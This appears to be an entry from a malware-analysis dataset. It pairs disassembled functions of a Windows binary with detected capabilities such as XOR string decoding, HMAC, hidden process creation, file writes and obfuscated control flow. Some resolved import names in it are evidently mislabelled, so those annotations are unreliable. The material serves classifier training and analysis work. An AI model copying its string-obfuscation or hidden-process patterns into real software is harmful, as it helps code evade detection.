joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14006d0b0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r12
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov r12d, r8d
lea r9d, [rax + rax]
mov eax, dword [rcx + 0x20]
mov rbp, rdx
lea rcx, [r9 + rax + 0x18]
call qword [fcn.14001cbc8]
mov rdi, rax
test rax, rax
jne 0x14006d0f1
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r12
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rsp + 0x48], rsi
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rdi + 0x10], rax
cmp r12d, dword [rbx + 0x1c]
jbe 0x14006d135
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, r12d
mov rdx, rbp
call qword [rbx + reloc.OLEAUT32.dll_VariantClear]
mov ebp, dword [rbx + 0x18]
mov rdx, qword [rdi + 8]
add rbp, qword [rdi + 0x10]
mov rcx, rbp
call qword [rbx + reloc.WS2_32.dll_recv]
mov r12d, dword [rbx + 0x20]
mov rcx, qword [rdi + 8]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test r12, r12
je 0x14006d194
mov rsi, r12
nop dword [rax + rax]
movzx eax, byte [rbp]
lea rdx, [rsp + 0x40]
mov r8d, 1
xor al, 0x36
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.OLEAUT32.dll_VariantClear]
movzx r11d, byte [rbp]
lea rdx, [rsp + 0x40]
xor r11b, 0x5c
mov r8d, 1
inc rbp
mov byte [rsp + 0x40], r11b
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.OLEAUT32.dll_VariantClear]
dec r12
jne 0x14006d150
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x14006d1d3
nop dword [rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x140085b79]
mov r8d, 1
call qword [rbx + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x140085b7a]
mov r8d, 1
call qword [rbx + reloc.OLEAUT32.dll_VariantClear]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x14006d1a0
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x50]
mov rax, rdi
add rsp, 0x20
pop r12
pop rdi
pop rbp
ret

Function at 0x14006eaa4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0x30
mov ebx, edx
test rcx, rcx
jne 0x14006eade
call fcn.14001cfb0
and dword [rax], 0
call fcn.14001cf90
and qword [rsp + 0x20], 0
mov ebx, reloc.WLDAP32.dll_Ordinal_22
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], ebx
call fcn.14001baf8
mov eax, ebx
jmp 0x14006eb2e
test edx, 0xfffffff9
jne 0x14006eab1
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x14006eb07
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14001cfd0
call fcn.14001cf90
mov eax, dword [rax]
jmp 0x14006eb2e
test al, 0x10
jne 0x14006eb2c
test al, 1
je 0x14006eb2c
test bl, 2
je 0x14006eb2c
call fcn.14001cfb0
mov dword [rax], 5
call fcn.14001cf90
mov dword [rax], reloc.WS2_32.dll_listen
jmp 0x14006eafe
xor eax, eax
add rsp, 0x30
pop rbx
ret
Function at 0x14000ca80
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x140017ca0], rbx
je 0x14000cae7
cmp rax, rbx
jne 0x14000cada
mov ebx, 1
mov esi, ebx
jmp 0x14000caec
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14000cabf
mov ebx, 1
mov eax, dword [0x140017ca8]
cmp eax, ebx
jne 0x14000cb04
mov edi, 0x1f
mov ecx, edi
call fcn.1400bf000
jmp 0x14000cb70
mov eax, dword [0x140017ca8]
test eax, eax
jne 0x14000cb65
mov dword [0x140017ca8], ebx
lea r15, [0x14000eb28]
lea rdi, [0x14000eb10]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x14000cb57
test eax, eax
jne 0x14000cb5b
cmp qword [rdi], r14
je 0x14000cb4c
mov rax, qword [rdi]
mov rcx, qword [0x14000ea58]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14000cb2e
test eax, eax
je 0x14000cb6b
mov eax, 0xff
jmp 0x14000ccc6
mov dword [0x140015544], ebx
mov edi, 0x1f
mov eax, dword [0x140017ca8]
cmp eax, ebx
jne 0x14000cb97
lea rdx, [0x14000eb08]
lea rcx, [0x14000ea60]
call sub.msvcrt.dll__initterm
mov dword [0x140017ca8], 2
test esi, esi
jne 0x14000cba5
mov rax, r14
xchg qword [0x140017ca0], rax
cmp qword [0x140017cb0], r14
je 0x14000cbd8
lea rcx, [0x140017cb0]
call fcn.14000cef0
test eax, eax
je 0x14000cbd8
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140017cb0]
mov r9, qword [0x14000ea58]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x14000cbf1
mov eax, 0xff
jmp 0x14000ccc6
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x14000cc77
test ax, ax
je 0x14000cc0c
test edx, edx
jne 0x14000cc77
sub ax, bx
cmp ax, di
ja 0x14000cc22
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x14000cc0c
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.1400015bc
mov dword [0x140015540], eax
cmp dword [0x140015560], r14d
jne 0x14000cc60
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x140015544], r14d
jne 0x14000cc75
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x140015540]
jmp 0x14000ccc6
cmp ax, 0x22
jne 0x14000cc8b
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14000cbfa
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.14000cf84
add rsp, 0x28
jmp 0x14000ca80
Function at 0x140077f00
Capabilities:
Encode data using xor

Disassembly:
sub rdx, r8
sub rcx, r8
mov r10, r9
shr r9, 4
je 0x140077f35
nop
movdqu xmm0, xmmword [rdx + r8]
pxor xmm0, xmmword [r8]
movdqu xmmword [rcx + r8], xmm0
movdqa xmmword [r8], xmm0
lea r8, [r8 + 0x10]
dec r9
jne 0x140077f10
and r10, 0xf
je 0x140077f65
mov r9d, reloc.WS2_32.dll_recv
sub r9, r10
xor eax, eax
mov al, byte [rdx + r8]
xor al, byte [r8]
mov byte [rcx + r8], al
mov byte [r8], al
lea r8, [r8 + 1]
dec r10
jne 0x140077f40
xor eax, eax
mov byte [r8], al
lea r8, [r8 + 1]
dec r9
jne 0x140077f59
mov rax, r8
repz ret

Function at 0x140077f70
Capabilities:
Encode data using xor

Disassembly:
sub rdx, r8
sub rcx, r8
mov r10, r9
shr r9, 4
je 0x140077fad
nop
movdqu xmm0, xmmword [rdx + r8]
movdqa xmm1, xmmword [r8]
pxor xmm1, xmm0
movdqu xmmword [rcx + r8], xmm1
movdqa xmmword [r8], xmm0
lea r8, [r8 + 0x10]
dec r9
jne 0x140077f80
pxor xmm1, xmm1
and r10, 0xf
je 0x140077fe3
mov r9d, reloc.WS2_32.dll_recv
sub r9, r10
xor eax, eax
xor r11, r11
mov r11b, byte [rdx + r8]
mov al, byte [r8]
xor al, r11b
mov byte [rcx + r8], al
mov byte [r8], r11b
lea r8, [r8 + 1]
dec r10
jne 0x140077fbb
xor eax, eax
mov byte [r8], al
lea r8, [r8 + 1]
dec r9
jne 0x140077fd7
mov rax, r8
repz ret

Function at 0x14007b1a0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xb], 0
je 0x14007b1c3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x31]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xa
jb 0x14007b1b0
mov byte [rcx + 0xb], 0
ret

Function at 0x14007b390
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x20], 0
je 0x14007b3b3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x32]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x1f
jb 0x14007b3a0
mov byte [rcx + 0x20], 0
mov rax, rcx
ret

Function at 0x14007b3c0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 7], 0
je 0x14007b3e3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x32]
xor byte [rax + rcx], dl
inc rax
cmp rax, 6
jb 0x14007b3d0
mov byte [rcx + 7], 0
ret

Function at 0x14007b3f0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x1f], 0
je 0x14007b413
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x32]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x1e
jb 0x14007b400
mov byte [rcx + 0x1f], 0
ret

Function at 0x14007b430
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xf], 0
je 0x14007b453
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x32]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xe
jb 0x14007b440
mov byte [rcx + 0xf], 0
ret

Function at 0x14007b460
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xa], 0
je 0x14007b483
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x32]
xor byte [rax + rcx], dl
inc rax
cmp rax, 9
jb 0x14007b470
mov byte [rcx + 0xa], 0
ret
Function at 0x14007baf0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je case.default.0x14007bb20
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rsi
mov rsi, rbx
mov r9, qword [rax]
test r9, r9
je 0x14007bb48
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14007bb4a
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14007bba3
test ecx, ecx
jle 0x14007bb7e
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r14, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14007bba3
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14007bba3
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov rbp, qword [rsp + 0x30]
sub rsi, rbx
mov rbx, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
adc esi, dword [rbx]
xlatb
rol edx, 1
sub edx, 0x4dd35ed7
not edx
rol edx, 2
push rdi
xor dword [rsp], edx
sar dil, cl
movsx rdi, r9w
and rdi, 0x14bc29ad
pop rdi
cmp di, 0x268f
movsxd rdx, edx
add rbp, rdx
jmp 0x1405cd807
jmp rbp
Function at 0x14007bbd0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rdi, r8
mov r14, rdx
mov rbx, rcx
je case.default.0x14007bc00
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x30], rbp
mov rbp, rdi
mov qword [rsp + 0x38], rsi
mov rdx, qword [rax]
test rdx, rdx
je 0x14007bc28
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14007bc2a
xor ecx, ecx
movsxd rsi, ecx
test rdi, rdi
jle 0x14007bcbb
test ecx, ecx
jle 0x14007bc62
cmp rdi, rsi
mov rcx, r14
cmovl rsi, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbx + 0x50]
add r14, rsi
sub rdi, rsi
sub dword [rax], esi
mov rcx, qword [rbx + 0x38]
movsxd rax, esi
add qword [rcx], rax
test rdi, rdi
jle 0x14007bcbb
mov r9, qword [rbx + 0x80]
test r9, r9
je 0x14007bcbb
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14007bca7
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov r9, qword [rbx + 0x80]
mov r8, rdi
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rdi, rax
mov rsi, qword [rsp + 0x38]
sub rbp, rdi
mov rbx, qword [rsp + 0x40]
mov rax, rbp
mov rbp, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
jmp r11
Function at 0x14007c130
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1402f7010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14007c15d
xor eax, eax
jmp 0x14007c2b2
mov rdx, qword [rcx + 0x40]
mov rax, qword [rdx]
test rax, rax
je 0x14007c188
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
add r8, rax
cmp rax, r8
jae 0x14007c188
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], dil
mov eax, edi
jmp 0x14007c2b2
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14007c2a5
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x14007c1cb
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14007c1f6
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14007c2aa
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
js 0x14007c2a5
cmp eax, 1
jle 0x14007c265
cmp eax, 3
jne 0x14007c2a5
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14007c2aa
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x14007c293
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14007c2a5
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x14007c2aa
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140089e50
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x14007c6d0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x1402f7010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14007c77c
cmp byte [rcx + 0x71], 0
je 0x14007c77c
mov rax, qword [rcx]
mov edx, 0xffffffff
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x14007c73d
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14007c741
sub eax, 1
je 0x14007c745
sub eax, 2
je 0x14007c77c
xor al, al
jmp 0x14007c77e
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x14007c773
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14007c73d
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14007c77e
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140089e50
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret

Function at 0x14007e020
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 5], 0
je 0x14007e043
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x35]
xor byte [rax + rcx], dl
inc rax
cmp rax, 4
jb 0x14007e030
mov byte [rcx + 5], 0
mov rax, rcx
ret

Function at 0x14007e050
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 5], 0
je 0x14007e073
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x35]
xor byte [rax + rcx], dl
inc rax
cmp rax, 4
jb 0x14007e060
mov byte [rcx + 5], 0
ret

Function at 0x14007e980
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0xf0
mov rax, qword [0x1402f7010]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xor edx, edx
mov rbx, rcx
lea rcx, [rsp + 0x74]
lea r8d, [rdx + 0x64]
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x50]
mov dword [rsp + 0x70], WSAGetLastError
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov rdx, rbx
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x50]
mov edx, 0x3e8
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140089e50
add rsp, 0xf0
pop rbx
ret

Function at 0x14007f6b0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x2d], 0
je 0x14007f6d3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x37]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x2c
jb 0x14007f6c0
mov byte [rcx + 0x2d], 0
mov rax, rcx
ret

Function at 0x14007f6e0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x40], 0
je 0x14007f703
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x37]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x3f
jb 0x14007f6f0
mov byte [rcx + 0x40], 0
mov rax, rcx
ret
Function at 0x140080c70
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
sub rsp, 0x108
movdqa xmm0, xmmword [0x1402d8c30]
movdqa xmm1, xmmword [0x1402d8de0]
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmm0, xmmword [0x1402d8b30]
movdqa xmmword [rsp + 0x30], xmm1
movdqa xmm1, xmmword [0x1402d8b80]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [0x1402d9170]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [0x1402d91c0]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [0x1402d90f0]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [0x1402d9100]
movdqa xmmword [rax - 0x88], xmm0
movdqa xmm0, xmmword [0x1402d90c0]
movdqa xmmword [rax - 0x68], xmm0
movdqa xmm0, xmmword [0x1402d8ff0]
movdqa xmmword [rax - 0x78], xmm1
movdqa xmm1, xmmword [0x1402d9070]
movdqa xmmword [rax - 0x48], xmm0
movdqa xmm0, xmmword [0x1402d8f30]
movdqa xmmword [rax - 0x58], xmm1
movdqa xmm1, xmmword [0x1402d9000]
movdqa xmmword [rax - 0x28], xmm0
movdqa xmmword [rax - 0x38], xmm1
mov word [rax - 0x18], 0x60
mov byte [rax - 0x16], 1
xor eax, eax
mov byte [0x14068d1d4], 0
nop
lea ecx, [rax + 0x37]
xor byte [rsp + rax + 0x20], cl
inc rax
cmp rax, 0xd1
jb 0x140080d40
mov byte [rsp + 0xf2], 0
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140080d66
lea rdx, [rsp + 0x20]
lea rcx, [0x14068a590]
call fcn.14007c4c0
add rsp, 0x108
ret

Function at 0x1400812b0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x1402f7010]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rax, qword [0x14068d210]
mov rbx, r9
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x140081336
mov eax, dword [0x14068d204]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x30], Ordinal_301
mov dword [rsp + 0x34], eax
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x44], r8d
mov dword [rsp + 0x40], edx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [0x14068d210]
lea r9, [rsp + 0x58]
mov r8d, reloc.WLDAP32.dll_Ordinal_41
mov dword [rsp + 0x48], eax
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140089e50
add rsp, 0x70
pop rbx
ret
Function at 0x140081350
Capabilities:
Write file on windows

Disassembly:
mov r11, rsp
push rbp
push rbx
push rdi
lea rbp, [r11 - 0x5f]
sub rsp, 0xa0
mov rax, qword [0x1402f7010]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rax, qword [0x14068d210]
mov edi, r8d
dec rax
mov rbx, rcx
cmp rax, 0xfffffffffffffffd
ja 0x14008149a
mov eax, dword [0x14068d204]
xorps xmm0, xmm0
mov qword [r11 - 0x20], rsi
xor esi, esi
mov qword [rbp + 0x1b], rsi
mov dword [rbp + 0x23], esi
mov qword [r11 - 0x28], r14
mov dword [rbp - 1], reloc.WLDAP32.dll_Ordinal_200
mov dword [rbp + 3], eax
mov qword [rbp + 7], rdx
mov qword [rbp + 0xf], rcx
mov dword [rbp + 0x17], r8d
movdqu xmmword [rbp - 0x11], xmm0
mov dword [rbp - 0x29], Ordinal_301
mov dword [rbp - 0x25], eax
mov qword [rbp - 0x21], rcx
mov dword [rbp - 0x15], 0x40
mov dword [rbp - 0x19], r8d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [0x14068d210]
lea r14, [0x14068d220]
lea r9, [rbp + 0x27]
mov dword [rbp - 0x11], eax
lea r8d, [rsi + 0x29]
mov qword [rbp - 9], r14
lea rdx, [rbp - 0x29]
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [0x14068d210]
lea r9, [rbp + 0x2b]
lea r8d, [rsi + 0x28]
mov qword [rsp + 0x20], rsi
lea rdx, [rbp - 1]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rax, qword [0x14068d210]
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14008148a
mov eax, dword [0x14068d204]
xorps xmm0, xmm0
mov dword [rbp - 0x25], eax
mov eax, dword [0x14068d220]
mov dword [rbp - 0x15], eax
movdqu xmmword [rbp - 0x11], xmm0
mov dword [rbp - 0x29], Ordinal_301
mov qword [rbp - 0x21], rbx
mov dword [rbp - 0x19], edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [0x14068d210]
lea r9, [rbp + 0x27]
lea r8d, [rsi + 0x29]
mov dword [rbp - 0x11], eax
lea rdx, [rbp - 0x29]
mov qword [rbp - 9], r14
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rsi, qword [rsp + 0x98]
mov r14, qword [rsp + 0x90]
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140089e50
add rsp, 0xa0
pop rdi
pop rbx
pop rbp
ret

Function at 0x1400814c0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x270
mov rax, qword [0x1402f7010]
xor rax, rsp
mov qword [rsp + 0x268], rax
mov rax, qword [0x14068d210]
mov rbx, rcx
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14008158b
xor edx, edx
mov qword [rsp + 0x30], 0
mov r8d, 0x210
lea rcx, [rsp + 0x48]
call sub.VCRUNTIME140.dll_memset
mov eax, dword [0x14068d204]
mov dword [rsp + 0x44], eax
mov dword [rsp + 0x40], 0x258
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x248], eax
mov r8, 0xffffffffffffffff
lea rax, [rsp + 0x30]
mov qword [rsp + 0x250], rax
inc r8
cmp byte [rbx + r8], 0
jne 0x140081540
inc r8
lea rcx, [rsp + 0x48]
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
mov rcx, qword [0x14068d210]
lea r9, [rsp + 0x260]
mov r8d, 0x219
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rax, qword [rsp + 0x30]
jmp 0x14008158d
xor eax, eax
mov rcx, qword [rsp + 0x268]
xor rcx, rsp
call fcn.140089e50
add rsp, 0x270
pop rbx
ret